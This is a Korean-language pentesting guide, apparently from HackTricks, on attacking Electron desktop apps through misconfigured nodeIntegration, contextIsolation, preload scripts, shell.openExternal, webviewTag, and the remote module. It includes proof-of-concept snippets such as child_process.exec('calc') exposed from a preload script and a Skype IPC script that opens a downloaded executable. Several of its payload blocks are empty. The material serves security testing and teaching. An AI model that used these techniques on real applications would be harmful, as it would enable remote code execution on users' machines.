# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## Introduction Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합하지만, 최신 브라우저의 일부 보안 메커니즘이 부족합니다. 일반적으로 전자 앱 코드는 `.asar` 애플리케이션 내부에 있으며, 코드를 얻으려면 이를 추출해야 합니다: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 지정된 `main.js` 파일을 찾을 수 있습니다. ```json { "name": "standard-notes", "main": "./app/index.js", ``` Electron에는 2가지 프로세스 유형이 있습니다: - Main Process (NodeJS에 완전 접근 가능) - Renderer Process (보안상의 이유로 NodeJS 접근 제한 필요) ![](<../../../images/image (182).png>) **renderer process**는 파일을 로드하는 브라우저 창이 될 것입니다: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` **렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성되면** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다. Electron 애플리케이션은 Node API를 통해 **장치에 접근할 수 있지만**, 이를 방지하도록 구성할 수 있습니다: - **`nodeIntegration`** - 기본값은 `off`입니다. 켜면 렌더러 프로세스에서 노드 기능에 접근할 수 있습니다. - **`contextIsolation`** - 기본값은 `on`입니다. 꺼지면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다. - **`preload`** - 기본값은 비어 있습니다. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다. - 워커에서의 Node 통합 - **`nodeIntegrationInSubframes`** - 기본값은 꺼져 있습니다. - **`nodeIntegration`**이 **활성화**되면, 이는 Electron 애플리케이션 내의 **iframe에 로드된 웹 페이지에서 Node.js API**를 사용할 수 있게 합니다. - **`nodeIntegration`**이 **비활성화**되면, 프리로드는 iframe에서 로드됩니다. 구성 예시: ```javascript const mainWindowOptions = { title: "Discord", backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: "EnumerateDevices,AudioOutputDevices", nodeIntegration: false, contextIsolation: false, sandbox: false, nodeIntegrationInSubFrames: false, preload: _path2.default.join(__dirname, "mainScreenPreload.js"), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true, }, } ``` 일부 **RCE 페이로드**는 [여기](https://7as.es/electron/nodeIntegration_rce.txt)에서 확인할 수 있습니다: ```html Example Payloads (Windows): Example Payloads (Linux & MacOS): ``` ### 트래픽 캡처 start-main 구성을 수정하고 다음과 같은 프록시 사용을 추가하세요: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron 로컬 코드 주입 Electron 앱을 로컬에서 실행할 수 있다면 임의의 자바스크립트 코드를 실행할 수 있을 가능성이 있습니다. 방법은 다음을 확인하세요: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}} ## RCE: XSS + nodeIntegration **nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 자바스크립트는 `require()`를 호출하는 것만으로 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다: ```html ```
## RCE: preload 이 설정에서 언급된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드되므로**, **Node API에 무제한으로 접근할 수 있습니다**: ```javascript new BrowserWindow{ webPreferences: { nodeIntegration: false, preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` 따라서, 스크립트는 node-features를 페이지로 내보낼 수 있습니다: ```javascript:preload.js typeof require === "function" window.runCalc = function () { require("child_process").exec("calc") } ``` ```html:index.html ``` > [!NOTE] > **`contextIsolation`이 켜져 있으면, 이 방법은 작동하지 않습니다** ## RCE: XSS + contextIsolation _**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE의 가능성을 제거하기 위한 필수 기능입니다. 컨텍스트가 분리되지 않으면 공격자는: 1. **렌더러에서 임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 탐색) 2. **프리로드 또는 Electron 내부 코드에서 사용되는 내장 메서드**를 자신의 함수로 덮어쓰기 3. **덮어쓴 함수의 사용**을 **트리거** 4. RCE? 내장 메서드를 덮어쓸 수 있는 두 곳이 있습니다: 프리로드 코드 또는 Electron 내부 코드: {{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}} ### 클릭 이벤트 우회 링크를 클릭할 때 제한이 적용되는 경우, 일반 왼쪽 클릭 대신 **중간 클릭**을 통해 이를 우회할 수 있습니다. ```javascript window.addEventListener('click', (e) => { ``` ## RCE via shell.openExternal 이 예제에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요. Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. 이러한 설정이 적용되면 **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 네이티브 코드를 대상으로 하는 것을 효과적으로 방지할 수 있습니다. 사용자가 링크와 상호작용하거나 새 창을 열면, 애플리케이션의 보안 및 기능에 중요한 특정 이벤트 리스너가 트리거됩니다: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` 이 리스너는 **데스크탑 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다. **여기 간단한 의사코드가 있습니다:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) Electron JS 보안 모범 사례는 `openExternal` 함수를 사용하여 신뢰할 수 없는 콘텐츠를 수용하지 말 것을 권장합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있습니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예제와 추가 설명은 [이 리소스](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 여기에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예제가 포함되어 있습니다. macOS에서는 `openExternal` 함수를 악용하여 `shell.openExternal('file:///System/Applications/Calculator.app')`와 같은 임의의 명령을 실행할 수 있습니다. **Windows 프로토콜 악용의 예는 다음과 같습니다:** ```html ``` ## RCE: webviewTag + 취약한 preload IPC + shell.openExternal 이 취약점은 **[이 보고서](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 찾을 수 있습니다. **webviewTag**는 **더 이상 사용되지 않는 기능**으로, **렌더러 프로세스**에서 **NodeJS**를 사용할 수 있게 해주며, 이는 preload 컨텍스트 내에서 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다. ```xml ``` 따라서, 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용하여 **임의의 프리로드 스크립트**를 로드할 수 있습니다. 이 프리로드 스크립트는 **취약한 IPC 서비스(`skype-new-window`)**를 호출하는 데 악용되었으며, 이 서비스는 **`shell.openExternal`**을 호출하여 RCE를 얻었습니다: ```javascript (async() => { const { ipcRenderer } = require("electron"); await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); setTimeout(async () => { const username = process.execPath.match(/C:\\Users\\([^\\]+)/); await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); }, 5000); })(); ``` ## 내부 파일 읽기: XSS + contextIsolation **`contextIsolation` 비활성화는 `` 태그의 사용을 가능하게 하여**, ` ``` ## **RCE: XSS + Old Chromium** 애플리케이션에서 사용되는 **chromium**이 **오래된** 경우, **알려진** **취약점**이 있을 수 있으며, 이를 **악용하여 XSS를 통해 RCE를 얻을 수** 있습니다.\ 이 **writeup**에서 예를 볼 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing via Internal URL regex bypass** XSS를 발견했지만 **RCE를 트리거하거나 내부 파일을 훔칠 수 없는** 경우, 이를 사용하여 **피싱을 통해 자격 증명을 훔치려고** 할 수 있습니다. 우선, 새 URL을 열려고 할 때 발생하는 일을 알아야 하며, 프론트엔드의 JS 코드를 확인해야 합니다: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` **`openInternally`** 호출은 **링크**가 플랫폼에 속하는 링크이기 때문에 **데스크탑 창**에서 **열릴지** 아니면 **브라우저에서 3자 리소스**로 열릴지를 결정합니다. 함수가 사용하는 **정규 표현식**이 **우회 공격에 취약한 경우**(예: **서브도메인의 점을 이스케이프하지 않는 경우**) 공격자는 XSS를 악용하여 **새 창을 열 수 있습니다**. 이 창은 공격자의 인프라에 위치하며 **사용자에게 자격 증명을 요청**합니다: ```html ``` ## `file://` 프로토콜 [문서](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols)에서 언급했듯이 **`file://`**에서 실행되는 페이지는 머신의 모든 파일에 일방적인 접근을 가지므로 **XSS 문제를 사용하여 사용자의 머신에서 임의의 파일을 로드할 수 있습니다**. **커스텀 프로토콜**을 사용하면 특정 파일 집합만 제공하도록 프로토콜을 제한할 수 있으므로 이러한 문제를 방지할 수 있습니다. ## 원격 모듈 Electron 원격 모듈은 **렌더러 프로세스가 메인 프로세스 API에 접근할 수 있도록** 하여 Electron 애플리케이션 내에서의 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 상당한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 교차 사이트 스크립팅(XSS) 공격과 같은 취약점에 더 취약해집니다. > [!TIP] > **원격** 모듈이 메인에서 렌더러 프로세스로 일부 API를 노출하지만, 구성 요소를 남용하는 것만으로 RCE를 얻는 것은 간단하지 않습니다. 그러나 구성 요소는 민감한 정보를 노출할 수 있습니다. > [!WARNING] > 여전히 원격 모듈을 사용하는 많은 앱은 렌더러 프로세스에서 **NodeIntegration을 활성화해야** 하는 방식으로 구현되어 있으며, 이는 **엄청난 보안 위험**입니다. Electron 14부터는 보안 및 성능 이유로 `remote` 모듈이 여러 단계에서 활성화될 수 있으며, **사용하지 않는 것이 권장됩니다**. 활성화하려면, 먼저 **메인 프로세스에서 활성화해야** 합니다: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() [...] function createMainWindow() { mainWindow = new BrowserWindow({ [...] }) remoteMain.enable(mainWindow.webContents) ``` 그런 다음, 렌더러 프로세스는 모듈에서 객체를 다음과 같이 가져올 수 있습니다: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**는 원격 모듈의 객체 **`app`**에서 노출된 몇 가지 흥미로운 **기능**을 나타냅니다: - **`app.relaunch([options])`** - 현재 인스턴스를 **종료**하고 새로운 인스턴스를 **시작**하여 애플리케이션을 **재시작**합니다. **앱 업데이트**나 중요한 **상태 변경**에 유용합니다. - **`app.setAppLogsPath([path])`** - **앱 로그**를 저장할 디렉토리를 **정의**하거나 **생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용하여 **가져오거나** **수정**할 수 있습니다. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - 현재 실행 파일을 지정된 **프로토콜**의 **기본 핸들러**로 **등록**합니다. 필요에 따라 **사용자 정의 경로**와 **인수**를 제공할 수 있습니다. - **`app.setUserTasks(tasks)`** - **작업 목록**의 **작업 카테고리**에 작업을 **추가**합니다 (Windows에서). 각 작업은 앱이 **시작**되는 방식이나 전달되는 **인수**를 제어할 수 있습니다. - **`app.importCertificate(options, callback)`** - 시스템의 **인증서 저장소**에 **PKCS#12 인증서**를 **가져옵니다** (Linux 전용). 결과를 처리하기 위해 **콜백**을 사용할 수 있습니다. - **`app.moveToApplicationsFolder([options])`** - 애플리케이션을 **응용 프로그램 폴더**로 **이동**합니다 (macOS에서). Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다. - **`app.setJumpList(categories)`** - **Windows**에서 **사용자 정의 점프 목록**을 **설정**하거나 **제거**합니다. 사용자가 작업이 표시되는 방식을 조직하기 위해 **카테고리**를 지정할 수 있습니다. - **`app.setLoginItemSettings(settings)`** - **로그인** 시 어떤 **실행 파일**이 **옵션**과 함께 시작되는지를 **구성**합니다 (macOS 및 Windows 전용). ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` ## systemPreferences 모듈 Electron에서 시스템 기본 설정에 접근하고 **시스템 이벤트를 발생시키는** **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault**와 같은 메서드는 모두 이 모듈의 **일부입니다**. **사용 예:** ```javascript const { systemPreferences } = require('electron'); // Subscribe to a specific notification systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => { console.log('Received custom notification:', userInfo); }); // Get a user default key from macOS const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array'); console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** * **네이티브 macOS 알림**을 NSDistributedNotificationCenter를 사용하여 **청취**합니다. * **macOS Catalina** 이전에는 CFNotificationCenterAddObserver에 **nil**을 전달하여 **모든** 분산 알림을 스니핑할 수 있었습니다. * **Catalina / Big Sur** 이후, 샌드박스 앱은 **이름**으로 알림을 등록하여 여전히 **많은 이벤트**(예: **화면 잠금/해제**, **볼륨 마운트**, **네트워크 활동** 등)에 **구독**할 수 있습니다. ### **getUserDefault / setUserDefault** * **NSUserDefaults**와 **인터페이스**하여 macOS에서 **애플리케이션** 또는 **전역** 기본 설정을 저장합니다. * **getUserDefault**는 **최근 파일 위치**나 **사용자의 지리적 위치**와 같은 민감한 정보를 **검색**할 수 있습니다. * **setUserDefault**는 이러한 기본 설정을 **수정**할 수 있으며, 이는 앱의 **구성**에 영향을 미칠 수 있습니다. * **구버전 Electron**(v8.3.0 이전)에서는 **표준 모음**의 NSUserDefaults만 **접근 가능**했습니다. ## Shell.showItemInFolder 이 함수는 주어진 파일을 파일 관리자에서 보여주며, 이는 **파일을 자동으로 실행**할 수 있습니다. 자세한 정보는 [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)에서 확인하세요. ## Content Security Policy Electron 앱은 **XSS 공격**을 **방지**하기 위해 **Content Security Policy (CSP)**를 가져야 합니다. **CSP**는 브라우저에서 **신뢰할 수 없는 코드**의 **실행**을 **방지**하는 데 도움이 되는 **보안 표준**입니다. 일반적으로 **`main.js`** 파일이나 **`index.html`** 템플릿의 **메타 태그** 안에 CSP를 설정합니다. 자세한 정보는 다음을 확인하세요: {{#ref}} pentesting-web/content-security-policy-csp-bypass/ {{#endref}} ## **Tools** - [**Electronegativity**](https://github.com/doyensec/electronegativity)는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint)는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)은 취약한 서드파티 라이브러리를 확인하는 도구입니다. - [**Electro.ng**](https://electro.ng/): 구매해야 합니다. ## Labs [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)에서 취약한 Electron 앱을 악용하는 실습을 찾을 수 있습니다. 실습에 도움이 될 몇 가지 명령어: ```bash # Download apps from these URls # Vuln to nodeIntegration https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip # Vuln to contextIsolation via preload script https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip # Vuln to IPC Rce https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip # Get inside the electron app and check for vulnerabilities npm audit # How to use electronegativity npm install @doyensec/electronegativity -g electronegativity -i vulnerable1 # Run an application from source code npm install -g electron cd vulnerable1 npm install npm start ``` ## **참고문헌** - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - Electron 보안에 대한 더 많은 연구 및 글은 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)에서 확인할 수 있습니다. - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) {{#include ../../../banners/hacktricks-training.md}}